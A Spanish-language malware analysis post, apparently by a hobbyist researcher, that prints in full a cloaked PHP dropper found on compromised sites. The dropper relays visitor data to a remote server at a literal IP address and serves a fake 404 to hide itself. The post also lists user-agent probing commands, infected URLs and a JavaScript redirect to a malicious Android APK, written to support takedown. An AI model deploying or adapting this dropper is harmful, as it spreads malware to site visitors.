Un webmaster me envió un archivo get.php.
Por lo tanto, la descarga de virus proviene de un servidor separado, por lo que la carga útil se puede generar en otro lugar.
Y a menos que se cumplan las condiciones a continuación, obtienes un 404 falso.
Si el servidor central de virus quiere que lo hagas, obtienes un 404 falso.
Hay literalmente cientos de sitios web por ahí que todavía tienen este script PHP, pero el 404 hace que se vea limpio.
Me imagino que un servidor de virus puede realizar un seguimiento de las solicitudes y "prohibir" las solicitudes de IP basadas en lo que quiera. Al igual que muchos agentes de usuario incorrectos o DNS inverso.
Lo que debe suceder a continuación es que se deben compilar más de estos scripts PHP, obtener una lista de los servidores de virus, eliminarlos y ver cómo funcionan.
<?php
error_reporting(0);
ini_set("display_errors", 0);
$remote = 'http://62.109.31.142/request12.php';
php_display($remote);
error_404();
function php_display($url)
{
$query = array();
$query['ip'] = getIp();
$query['time'] = date('d/M/Y:H:i:s', time());
$query['request'] = getRequest();
$query['path'] = getPath();
$query['protocol'] = getProtocol();
$query['useragent'] = getUseragent();
$query['referer'] = getReferer();
$url = $url."?".http_build_query($query);
$content = @file_get_contents($url);
if(empty($content) OR stripos($content, "error") !== FALSE)
{
error_404();
}
$content = explode("\n", $content);
$filename = array_shift($content);
$content = implode("\n", $content);
$type = 'application/zip';
header('Content-Type:'.$type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Length: '. strlen($content));
echo $content;
exit();
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
."<html><head><title>404 Not Found</title></head><body>\r\n"
."<h1>Not Found</h1>\r\n"
."<p>The requested URL was not found on this server.</p>\r\n"
."<hr>\r\n"
."</body></html>\r\n");
}
function getRequest()
{
return $_SERVER['REQUEST_METHOD'];
}
function getPath()
{
return $_SERVER['REQUEST_URI'];
}
function getProtocol()
{
return $_SERVER['SERVER_PROTOCOL'];
}
function getUseragent()
{
return $_SERVER['HTTP_USER_AGENT'];
}
function getReferer()
{
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
return $referer;
}
function getIp()
{
$ip = NULL;
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(isset($_SERVER['HTTP_CLIENT_IP']))
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif(isset($_SERVER['REMOTE_ADDR']))
{
$ip = $_SERVER['REMOTE_ADDR'];
}
if(strpos($ip, ",") !== FALSE)
{
$ips = explode(",", $ip);
$ip = trim(array_pop($ips));
}
return $ip;
}
También obtienes algo diferente para algunos usuarios móviles-agentes.
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; fr;
rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0"
"http:// archaicguru.ca /img / get.php?info=867_124381713"
... dirigido a www.appsoluteconcepts.com
Actualización 23 de mayo de 2013.
Corrí:
http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323
a través de esto:
'curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)
Gecko/20130401 Firefox/21.0" "#{url}"'
'curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0;
Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR
3.3.69573; WOW64; en-US)" "#{url}"'
'curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686;
rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"'
'curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1;
en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1" "#{url}"'
Obtuve 404 falso para Windows, Linux y Mac. Para los dos UAs de Android obtuve un APK alojado en otro lugar gracias a javascript:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html; charset=Windows-1251" http-equiv="content-type">
<title></title>
</head>
<body>
<script language="JavaScript">
<!--
window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783
/resources/pictures/Application.apk";
//-->
</script>
</body>
El archivo .apk tiene aproximadamente 2176026 bytes, MD5 3ffa39687b28f3e6993fe6ae218b91c9 pero me faltan las habilidades de 1337 para hacer algo con él.